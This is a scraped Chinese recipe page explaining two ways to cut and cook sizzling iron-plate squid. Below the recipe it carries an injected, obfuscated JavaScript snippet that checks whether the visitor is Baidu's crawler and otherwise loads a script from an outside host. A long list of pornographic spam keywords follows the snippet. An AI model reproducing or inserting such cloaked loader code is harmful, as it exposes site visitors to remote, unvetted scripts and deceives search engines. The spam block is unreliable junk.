當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

鐵板魷魚怎么切 鐵板魷魚怎么做好吃?

2017-01-16 22:25:02  來源:360常識網(wǎng)   熱度:
導(dǎo)語:鐵板魷魚是我們生活中常見的一種美食,很多人喜歡吃,但是卻不知道它的做法,那么鐵板魷魚該怎么做好吃呢? 鐵板魷魚做法一 健康功效: 洋

鐵板魷魚是我們生活中常見的一種美食,很多人喜歡吃,但是卻不知道它的做法,那么鐵板魷魚該怎么做好吃呢?

鐵板魷魚做法一

健康功效:

洋蔥:健胃、祛痰、利水

姜:降逆止嘔、化痰止咳、散寒解表

花生油:輔助降血脂、改善血液循環(huán)、健腦益智

食材用料:

魷魚絲三個尖椒三個

洋蔥一個蒜苔六條

姜適量花生油適量

老干媽一勺辣椒油一勺

蠔油一勺醬油一勺

料酒一勺食用油適量

郫縣豆瓣醬一勺牧然粉適量

菜譜做法:

1.先把買回來的魷魚絲洗干凈切好裝盤里!

2.鍋里燒開水,把魷魚放鍋里過一下水,去一下腥味,一到兩分鐘即可!

3.馬上撈出來過下冷水后,然后掉干水待用!

4.蒜苔~洋蔥~尖椒~姜等洗干凈,蒜頭切段,洋蔥~尖椒切片,姜切絲,用盤裝著待用!

5.準(zhǔn)備個小碗,把調(diào)料先調(diào)好,醬油~蠔油~辣椒油~老干媽~豆瓣醬等各一勺調(diào)勻即可!

6.鍋里燒熱,倒入食用油,下姜絲爆一下,再到入魷魚小炸一下裝盤即可,接著在加入食用油,下調(diào)料火爆一下,這時先倒入蒜苔炒兩分鐘,再倒入尖椒一起炒至兩分鐘,然后下魷魚絲一起炒一分鐘后倒入一勺料酒炒兩分鐘,最后撒上一點(diǎn)牧然粉即可!

7.炒好了先用盤裝著待用,切記不可炒太熟啊,因?yàn)榈认碌谷腓F板還會熟的!

8.把鐵板放在煤氣灶上,打開火把鐵板差不多燒紅,倒入花生油,下洋蔥爆一下,關(guān)火。接著倒入炒好的魷魚絲就好了!

9.拿兩塊厚一點(diǎn)的布,完全打濕,包著鐵板兩側(cè),這時鐵板的油會四處濺出來,所以要小心翼翼端出來放在木板上,別讓油濺到自己身上去了!

菜譜小貼士:

需注意,下魷魚炸的時候,只需小炸一下就好了哈,還有最后一個步揍,要拿兩塊厚一點(diǎn)的布完全打濕,然后包著鐵板兩側(cè),小心翼翼的端出來,別讓走濺到自己身上去了哦!

鐵板魷魚做法二

健康功效:

魷魚:祛風(fēng)除濕、利尿通淋、富含蛋白質(zhì)

食材用料:

魷魚2—3條料酒

姜絲黃豆醬

四川風(fēng)味麻辣醬椒鹽

白胡椒食用油

蒜味辣椒汁

菜譜做法:

1.準(zhǔn)備好腌制調(diào)料,料酒、姜絲、黃豆醬、四川風(fēng)味麻辣醬、椒鹽、白胡椒

2.魷魚去內(nèi)臟去表膜洗凈備用

3.將魷魚切成大小均勻的條狀或塊狀,魷魚須切開

4.倒入一勺料酒、適量姜絲、椒鹽和白胡椒,再加入黃豆醬、川味麻辣醬各一勺

5.攪拌均勻,蓋上保鮮膜放入冰箱冷藏腌制一會

6.取出后,用竹簽或金屬簽穿成串備用

7.平底鍋加熱,倒入少許食用油,將腌制好的魷魚串放入鍋中

8.中火加熱,用鍋鏟反復(fù)按壓魷魚串,將水分逼出

9.待魷魚打卷并且表面變得較干時,撒入適量椒鹽,稍烤制即可出鍋

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品国产精品亚洲人人| 久久国产综合精品SWAG蓝导航| 99爱在线精品免费观看| 精品久久久久久无码中文野结衣| 国产精品亚洲一区二区三区| 久久免费国产精品| 久久免费的精品国产V∧| 69久久夜色精品国产69| 日韩精品一区二三区中文| 亚洲日韩精品无码专区网址| 2022久久国产精品免费热麻豆| 少妇人妻精品一区二区| 老司机精品视频在线| 亚洲一区精品视频在线| 国产国产人精品视频69| 久久精品这里热有精品| 中文字幕精品一区二区2021年| 国产精品福利片免费看| 精品无码日韩一区二区三区不卡 | 亚洲人成在线精品| 国产色无码精品视频国产| 538prom精品视频我们不只是| 精品乱码一区二区三区四区| 日本精品自产拍在线观看中文 | 久久久WWW免费人成精品| 久久精品www人人爽人人| 国产精品毛片在线完整版| 久久久久国产精品| AV天堂午夜精品一区二区三区| 中文字幕精品久久| 亚洲AV永久无码精品放毛片| 国产精品亚洲产品一区二区三区| 精品性影院一区二区三区内射| 国产伦精品一区二区三区精品 | 久久久久99精品国产片| 精品久久伦理中文字幕| 久久国产精品只做精品| 国产麻豆剧传媒精品网站| 久久99精品视频| 精品一区二区三区AV天堂| 亚洲∧v久久久无码精品 |